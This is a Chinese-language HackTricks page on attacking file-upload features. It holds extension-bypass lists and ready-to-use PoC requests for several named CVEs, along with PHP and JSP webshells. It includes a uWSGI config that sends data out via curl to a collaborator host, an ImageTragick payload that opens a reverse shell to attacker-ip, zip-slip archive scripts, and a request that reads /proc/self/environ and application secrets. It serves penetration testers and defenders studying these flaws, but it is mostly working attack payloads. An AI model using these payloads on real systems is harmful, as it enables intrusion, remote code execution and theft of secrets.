文件上传

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

File Upload General Methodology

其他有用的扩展名:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

绕过文件扩展名检查

  1. 如果适用,请检查上面的扩展名。也用一些大写字母测试它们:pHp, .pHP5, .PhAr …
  2. 检查在执行扩展之前添加一个有效扩展名(也使用前面的扩展名):
  • file.png.php
  • file.png.Php5
  1. 尝试在末尾添加特殊字符。你可以使用 Burp 对所有 asciiUnicode 字符进行暴力测试。(注意你也可以尝试使用之前提到的扩展名)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php….
  • file.pHp5….
  1. 尝试通过欺骗服务器端的扩展解析器来绕过保护,使用如重复扩展或在扩展之间添加垃圾数据(null 字节)等技术。你也可以使用之前的扩展名来构造更好的 payload。
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. 在前面的检查上再添加一层扩展名
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. 尝试将执行扩展放在有效扩展之前并祈祷服务器被错误配置。(在利用 Apache 错误配置时很有用,即任何带有扩展**.php**的东西,即使不以 .php 结尾,也可能执行代码):
  • ex: file.php.png
  1. Windows 中使用 NTFS alternate data stream (ADS)。在这种情况下,会在被禁止的扩展之后和允许的扩展之前插入一个冒号字符 “:”。结果是在服务器上会创建一个带有被禁止扩展的空文件(例如 “file.asax:.jpg”)。该文件之后可能通过其他技术(例如使用其短文件名)被编辑。模式 “::$data” 也可以用于创建非空文件。因此,在该模式后添加一个点字符可能有助于进一步绕过限制(例如 “file.asp::$data.”)
  2. 试图突破文件名长度限制。有效的扩展被截断,而恶意的 PHP 留在末尾。AAA<–SNIP–>AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png

UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546

某些上传处理器会在保存文件名时修剪或规范化尾随的点字符。在 UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) 2.9.1 之前的版本中,你可以通过以下方式绕过扩展名验证:

  • 使用有效的图像 MIME 和 magic header(例如 PNG 的 \x89PNG\r\n\x1a\n)。
  • 将上传的文件命名为以 PHP 扩展且后跟一个点,例如 shell.php.
  • 服务器会剥离尾随的点并保留 shell.php,如果该文件放在可被 web 访问的目录(默认公用存储,如 /storage/files/)下就会被执行。

Minimal PoC (Burp Repeater):

POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png

\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--

然后访问保存的路径(Laravel + LFM 中常见):

GET /storage/files/0xdf.php?cmd=id

绕过 Content-Type、Magic Number、Compression 与 Resizing

  • 通过将 Content-Type headervalue 设置为:image/png , text/plain , application/octet-stream 来绕过 Content-Type 检查
  1. Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • 通过在文件开头添加真实图片的 bytes(迷惑 file 命令)来绕过 magic number 检查。或者将 shell 放入 metadata 中:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ 或者你也可以直接在图片中插入 payload
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • 如果对你的图片进行了压缩,例如使用某些标准的 PHP 库如 PHP-GD,之前的技术可能就无效了。不过,你可以使用 PLTE chunk technique defined here 来插入一些能在压缩后存活的文本。
  • Github with the code
  • 网页也可能会调整图片大小(resizing),例如使用 PHP-GD 的 imagecopyresizedimagecopyresampled 函数。但你可以使用 IDAT chunk technique defined here 来插入一些能在压缩/重采样后存活的文本。
  • Github with the code
  • 另一种制作能在图片缩放后存活的 payload 的方法是利用 PHP-GD 的 thumbnailImage。但是,你也可以使用 tEXt chunk technique defined here 来插入一些能在压缩/缩放后存活的文本。
  • Github with the code

其他需要检查的技巧

  • 找到可以重命名已上传文件的漏洞(以更改扩展名)。
  • 找到 Local File Inclusion 漏洞以执行 backdoor。
  • 可能的信息泄露
  1. 多次(且同时)上传 同名相同文件
  2. 上传一个与已有文件文件夹同名的文件
  3. 使用 "." , "..", 或 "…" 作为文件名上传。例如,在 Windows 下的 Apache 中,如果应用将上传文件保存到 “/www/uploads/” 目录,文件名为 “.” 将会在 “/www/” 目录下创建一个名为 uploads”的文件。
  4. 上传一个可能无法被轻易删除的文件,例如在 NTFS 上的 “…:.jpg”。(Windows)
  5. Windows 上上传带有非法字符(如 |<>*?”)的文件名。(Windows)
  6. Windows 上使用保留(禁止)名称上传文件,例如 CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, 和 LPT9。
  • 也可以尝试上传一个可执行文件(.exe)或一个 .html(较不显眼),当被受害者意外打开时能够执行代码。

特殊扩展名技巧

如果你尝试将文件上传到 PHP server,请查看用于执行代码的 .htaccess 技巧: https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution
如果你尝试将文件上传到 ASP server,请查看用于执行代码的 .config 技巧: ../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files

.phar 文件类似于 Java 的 .jar,但针对 PHP,可以像 php 文件一样使用(用 php 执行,或在脚本中 include…)。

.inc 扩展有时用于仅用于包含的 php 文件,因此可能有人允许该扩展被执行

Jetty RCE

如果你能向 Jetty server 上传一个 XML 文件,你可以获得 RCE because **new .xml and .war are automatically processed 因此,如下图所示,将 XML 文件上传到 $JETTY_BASE/webapps/ 并期待 shell 出现!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

有关此漏洞的详细研究请查看原始研究: uWSGI RCE Exploitation

如果有能力修改 .ini 配置文件,uWSGI 服务器可能会被利用发生 Remote Command Execution (RCE)。uWSGI 的配置文件使用特定语法来包含“magic”变量、占位符和操作符。值得注意的是,@ 操作符以 @(filename) 的形式用于包含文件内容。在 uWSGI 支持的各种 scheme 中,exec scheme 特别强大,它允许从进程的标准输出中读取数据。当处理 .ini 配置文件时,此功能可以被操纵用于 Remote Command Execution 或 Arbitrary File Write/Read。

考虑下面这个有害的 uwsgi.ini 示例,展示了多种 scheme:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

payload 的执行发生在配置文件被解析时。要使该配置生效并被解析,uWSGI 进程必须重启(可能是在崩溃之后或由于 Denial of Service 攻击),或者该文件必须被设置为 auto-reload。若启用,auto-reload 功能会在检测到变动后按指定间隔重新加载该文件。

理解 uWSGI 配置文件解析的宽松特性至关重要。具体来说,上述 payload 可以被插入到二进制文件中(例如 image 或 PDF),从而进一步扩大了潜在利用的范围。

Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)

Unauthenticated endpoint in Gibbon LMS allows arbitrary file write inside the web root, leading to pre-auth RCE by dropping a PHP file. Vulnerable versions: up to and including 25.0.01.

  • Endpoint: /Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php
  • 方法: POST
  • 必需的参数:
  • img: 类似 data-URI 的字符串:[mime];[name],[base64](服务器忽略 type/name,对尾部进行 base64 解码)
  • path: 目标文件名,相对于 Gibbon install dir(例如,poc.php0xdf.php
  • gibbonPersonID: 接受任何非空值(例如,0000000001

写入并读取回文件的最小 PoC:

# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK

# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'

# Verify write
curl http://target/Gibbon-LMS/poc.php

放置一个最小的 webshell 并执行命令:

# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==

curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'

curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'

注意:

  • 处理程序在用 ;, 分割之后对 $_POST["img"] 执行 base64_decode($_POST["img"]),然后将字节写入 $absolutePath . '/' . $_POST['path'],未对扩展名/类型进行验证。
  • 生成的代码以 web 服务用户的权限运行(例如 XAMPP Apache on Windows)。

关于该漏洞的参考资料包括 usd HeroLab advisory 和 NVD 条目。参见下方的 References 部分。

wget 文件上传/SSRF 技巧

在某些情况下,你可能会发现服务器使用 wget下载文件,并且你可以 指定 URL。在这些场景中,代码可能会检查所下载文件的扩展名是否在白名单中,以确保只下载允许的文件。然而,这个检查可以被绕过。\

linux 中,文件名最大 长度是 255,然而,wget 会将文件名截断为 236 个字符。你可以 *下载一个名为 “A”232+“.php”+“.gif” 的文件,这个文件名会 绕过 检查(如在此示例中 “.gif” 是一个 有效 的扩展名),但 wget 会将该文件 重命名“A”*232+“.php”

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

注意,另一个选项 你可能会想到的绕过此检查的方法是让 HTTP 服务器重定向到不同的文件,这样初始 URL 可以绕过检查,然后 wget 会下载重定向后的文件并使用新名称。除非使用带有 参数 --trust-server-names 的 wget,否则这不会生效,因为 wget 会使用原始 URL 中指示的文件名来下载重定向的页面

通过 NTFS junctions (Windows) 逃逸上传目录

(对于此攻击你需要对 Windows 机器的本地访问)当上传被存储在 Windows 的每用户子文件夹下(例如 C:\Windows\Tasks\Uploads<id>\)且你能控制该子文件夹的创建/删除时,你可以将其替换为指向敏感位置的 directory junction(例如,webroot)。后续的上传将被写入目标路径,如果目标会解释服务端代码,则可导致代码执行。

Example flow to redirect uploads into XAMPP webroot:

:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
::    Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882

:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs

:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
::    Minimal PHP webshell for testing
::    <?php echo shell_exec($_REQUEST['cmd']); ?>

:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"

注意

  • mklink /J creates an NTFS directory junction (reparse point). Web 服务器的帐户必须能够遵循该 junction 并在目标位置具有写权限。
  • 这会将任意文件写入重定向;如果目标会执行脚本(PHP/ASP),则会成为 RCE。
  • 防护:不要允许可写的 upload roots 被攻击者在 C:\Windows\Tasks 或类似位置控制;阻止 junction 创建;在服务器端验证扩展名;将上传存储在单独的卷上或使用 deny‑execute ACLs。

GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat)

某些 upload/ingest 处理程序会将原始请求体写入由用户控制的查询参数构造的文件系统路径。如果处理程序还支持 Content-Encoding: gzip 且未对目标路径进行规范化/验证,则可以将 directory traversal 与 gzipped 载荷结合,向 web-served 目录写入任意字节并获得 RCE(例如,在 Tomcat 的 webapps 下放置一个 JSP)。

通用利用流程:

  • 准备你的服务器端载荷(例如,最小的 JSP webshell)并对字节进行 gzip 压缩。
  • 发送一个 POST,请求中某个路径参数(例如 token)包含越过预期文件夹的 traversal,file 表示要保存的文件名。设置 Content-Type: application/octet-stream 和 Content-Encoding: gzip;请求体为压缩后的载荷。
  • 访问写入的文件以触发执行。

Illustrative request:

POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>

<gzip-compressed-bytes-of-your-jsp>

然后触发:

GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target

注意

  • Target paths vary by install (e.g., /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ in some stacks). Any web-exposed folder that executes JSP will work.
  • Burp Suite 的 Hackvertor 扩展可以从你的 payload 生成正确的 gzip body。
  • 这是一个纯粹的 pre-auth arbitrary file write → RCE 模式;它不依赖于 multipart parsing。

缓解措施

  • 在服务器端确定上传目标;绝不要信任来自客户端的路径片段。
  • 规范化并强制要求解析后的路径保持在允许的基目录内。
  • 将上传存储在非可执行的卷上,并禁止从可写路径执行脚本。

Axis2 SOAP uploadFile traversal to Tomcat webroot (JSP drop)

Axis2-based upload services sometimes expose an uploadFile SOAP action that takes three attacker-controlled fields: jobDirectory (destination directory), archiveName (filename), and dataHandler (base64 file content). If jobDirectory is not canonicalized, you get arbitrary file write via path traversal and can land a JSP in Tomcat’s webapps.

Minimal request outline (default creds often work: admin / trubiquity):

POST /services/WsPortalV6UpDwAxis2Impl HTTP/1.1
Host: 127.0.0.1
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:updw="http://updw.webservice.ddxPortalV6.ddxv6.procaess.com">
<soapenv:Body>
<updw:uploadFile>
<updw:login>admin</updw:login>
<updw:password>trubiquity</updw:password>
<updw:archiveName>shell.jsp</updw:archiveName>
<updw:jobDirectory>/../../../../opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/</updw:jobDirectory>
<updw:dataHandler>PD8lQCBwYWdlIGltcG9ydD0iamF2YS5pby4qIjsgc3lzdGVtKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSk7Pz4=</updw:dataHandler>
</updw:uploadFile>
</soapenv:Body>
</soapenv:Envelope>
  • 绑定通常仅在 localhost 可访问;如果 Axis2 端口未暴露,可以将其与 full-read SSRF(绝对 URL 请求行,Host 头被忽略)结合使用以访问 127.0.0.1
  • 写入后,访问 /trufusionPortal/jsp/shell.jsp?cmd=id 来执行。

Tools

  • Upload Bypass 是一个强大的工具,旨在协助 Pentesters 和 Bug Hunters 测试文件上传机制。它利用多种 bug bounty 技巧来简化识别和利用漏洞的过程,确保对 web 应用进行彻底评估。

Corrupting upload indices with snprintf quirks (historical)

一些使用 snprintf() 或类似函数将单文件上传构造成多文件数组的遗留上传处理器,可能被欺骗以伪造 _FILES 结构。由于 snprintf() 在行为上的不一致性和截断问题,精心构造的单次上传可能在服务器端表现为多个索引文件,从而混淆假设严格结构的逻辑(例如将其视为多文件上传并走入不安全分支)。尽管如今较为小众,这种“index corruption”模式有时会在 CTF 和旧代码库中复现。

From File upload to other vulnerabilities

Here’s a top 10 list of things that you can achieve by uploading (from here):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Burp Extension

GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy \xc2\xb7 GitHub

Magic Header Bytes

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["
  • JPG: "\xff\xd8\xff"

Refer to https://en.wikipedia.org/wiki/List_of_file_signatures for other filetypes.

Zip/Tar File Automatically decompressed Upload

如果你能上传会在服务器端被解压的 ZIP,你可以做两件事:

上传一个包含指向其他文件的符号链接的压缩包,然后访问解压后的文件时会访问到被链接的文件:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Decompress in different folders

在解压缩过程中意外在目录中创建文件是一个严重问题。尽管最初可能认为这种设置可以防止通过恶意文件上传触发的操作系统层面的命令执行,但 ZIP 存档格式对层级压缩的支持以及目录遍历能力可能被利用。这允许攻击者通过操作目标应用的解压功能绕过限制并从安全上传目录中逃逸。

用于生成此类文件的自动化利用工具可在 evilarc on GitHub 获取。该工具可以按如下方式使用:

# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

此外,symlink trick with evilarc 也是一个选项。如果目标是像 /flag.txt 这样的文件,应在你的系统中创建指向该文件的 symlink。这样可以确保 evilarc 在运行时不会遇到错误。

下面是用于创建恶意 zip 文件的 Python 代码示例:

#!/usr/bin/python
import zipfile
from io import BytesIO


def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

滥用压缩以进行 file spraying

有关更多细节,请查看原始帖子https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Creating a PHP Shell:编写 PHP 代码以执行通过 $_REQUEST 变量传入的命令。
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying and Compressed File Creation:创建多个文件,并将这些文件打包为一个 zip 存档。
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Modification with a Hex Editor or vi:使用 vi 或十六进制编辑器修改 zip 内部的文件名,将 “xxA” 改为 “../” 以进行目录遍历。
:set modifiable
:%s/xxA/../g
:x!

ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)

当后端使用 PHP 的 ZipArchive 验证 ZIP 条目,但在解压时使用原始名称写入文件系统时,你可以通过在文件名字段中插入一个 NUL (0x00) 来走私一个不被允许的扩展名。ZipArchive 将条目名称视为 C 字符串并在第一个 NUL 处截断;文件系统写入完整名称,但会去掉 NUL 之后的所有内容。

高层流程:

  • 准备一个合法的容器文件(例如一个有效的 PDF),在某个流中嵌入一个微小的 PHP stub,以使 magic/MIME 保持为 PDF。
  • 将其命名为 shell.php..pdf,压缩为 zip,然后对 ZIP 的本地头和 central directory filename 进行十六进制编辑,将 .php 之后的第一个 . 替换为 0x00,得到 shell.php\x00.pdf
  • 依赖 ZipArchive 的验证器会“看到” shell.php .pdf 并允许它;解压器会将 shell.php 写入磁盘,如果上传文件夹可执行则会导致 RCE。

Minimal PoC steps:

# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf

# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf

# 3) Hex-edit both the local header and central directory filename fields
#    Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
#    Tools: hexcurse, bless, bvi, wxHexEditor, etc.

# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)

注意事项

  • 更改 BOTH filename occurrences(local 和 central directory)。某些工具还会添加额外的 data descriptor 条目 — 如存在,请调整所有 name 字段。
  • payload file 必须仍然通过 server‑side magic/MIME sniffing。将 PHP 嵌入 PDF stream 可保持 header 有效。
  • 适用于 enum/validation path 与 extraction/write path 在字符串处理上不一致的情况。

堆叠/拼接的 ZIPs(解析器不一致)

将两个有效的 ZIP 文件串联会生成一个 blob,不同的解析器会关注不同的 EOCD 记录。许多工具会定位最后一个 End Of Central Directory (EOCD),而有些库(例如在特定工作流中的 ZipArchive)可能会解析它们找到的第一个 archive。如果 validation 枚举第一个 archive,而 extraction 使用另一个遵循最后 EOCD 的工具,则良性 archive 可能通过检查,而恶意的则被提取。

PoC:

# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2

# Stack them
cat zip1.zip zip2.zip > combo.zip

# Different views
unzip -l combo.zip   # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'

Abuse pattern

  • 创建一个良性归档(允许的类型,例如 PDF)和第二个归档,包含被阻止的扩展名(例如 shell.php)。
  • 将它们连接:cat benign.zip evil.zip > combined.zip
  • 如果服务器使用一个解析器验证(看到 benign.zip)但使用另一个解析器提取(处理 evil.zip),被阻止的文件就会落在解压路径中。

ImageTragic

将此内容以图像扩展名上传以利用该漏洞 (ImageMagick , 7.0.1-1) (参见 exploit

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

在 PNG 中嵌入 PHP Shell

将 PHP shell 嵌入 PNG 文件的 IDAT 块中可以有效绕过某些图像处理操作。来自 PHP-GD 的 imagecopyresizedimagecopyresampled 函数在这方面尤其相关,因为它们分别常用于调整大小和重采样图像。嵌入的 PHP shell 能在这些操作中保持不受影响,这对某些用例来说是一个重要优势。

关于该技术的详细探讨,包括方法论和潜在应用,请参见以下文章:“Encoding Web Shells in PNG IDAT chunks”。该资源提供了对该过程及其影响的全面理解。

更多信息: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Polyglot Files

Polyglot files 在网络安全中是一种独特工具,像变色龙一样能够同时作为多种文件格式有效存在。一个有趣的例子是 GIFAR,一个同时兼作 GIF 和 RAR archive 的混合体。这样的文件不局限于这一配对;像 GIF 与 JS 或 PPT 与 JS 的组合也是可行的。

Polyglot 文件的核心用途在于能够规避基于类型筛选文件的安全措施。各类应用程序通常只允许上传某些文件类型,如 JPEG、GIF 或 DOC,以降低潜在危险格式(例如 JS、PHP 或 Phar 文件)的风险。然而,polyglot 通过同时符合多种文件格式的结构特征,可以悄然绕过这些限制。

尽管具有适应性,polyglot 也有局限。例如,虽然一个 polyglot 可能同时兼具 PHAR 文件(PHp ARchive)和 JPEG 的特性,其能否成功上传可能取决于平台对文件扩展名的策略。如果系统对允许的扩展名严格限制,polyglot 的结构双重性本身可能不足以确保其上传成功。

更多信息: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

像上传 PDF 一样上传有效的 JSON

如何通过伪造为 PDF 来上传有效的 JSON 文件以规避文件类型检测(技术来自 this blog post):

  • mmmagic library:只要 %PDF magic bytes 位于前 1024 字节内就被认为是有效的(示例见文章)
  • pdflib library:在 JSON 的一个 field 中加入伪造的 PDF 格式,使该库认为它是一个 pdf(示例见文章)
  • file binary:它可以从文件中读取最多 1048576 字节。只需创建一个比这更大的 JSON,使其无法将内容解析为 json,然后在 JSON 内放入真实 PDF 的初始部分,它就会认为这是一个 PDF

Content-Type 混淆导致任意文件读取

一些 upload handlers 会信任解析后的请求体(例如 context.getBodyData().files),随后在没有先强制要求 Content-Type: multipart/form-data 的情况下直接从 file.filepath 复制文件。如果服务器接受 application/json,你可以提供一个伪造的 files 对象,将 filepath 指向任意本地路径,从而把上传流程变成任意文件读取的原语。

下面是一个针对表单工作流的示例 POST,该工作流在 HTTP 响应中返回上传的二进制:

POST /form/vulnerable-form HTTP/1.1
Host: target
Content-Type: application/json

{
"files": {
"document": {
"filepath": "/proc/self/environ",
"mimetype": "image/png",
"originalFilename": "x.png"
}
}
}

后端复制 file.filepath,因此响应返回该路径的内容。常见链:读取 /proc/self/environ 以获取 $HOME,然后读取 $HOME/.n8n/config 获取密钥,再读取 $HOME/.n8n/database.sqlite 获取用户标识符。

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks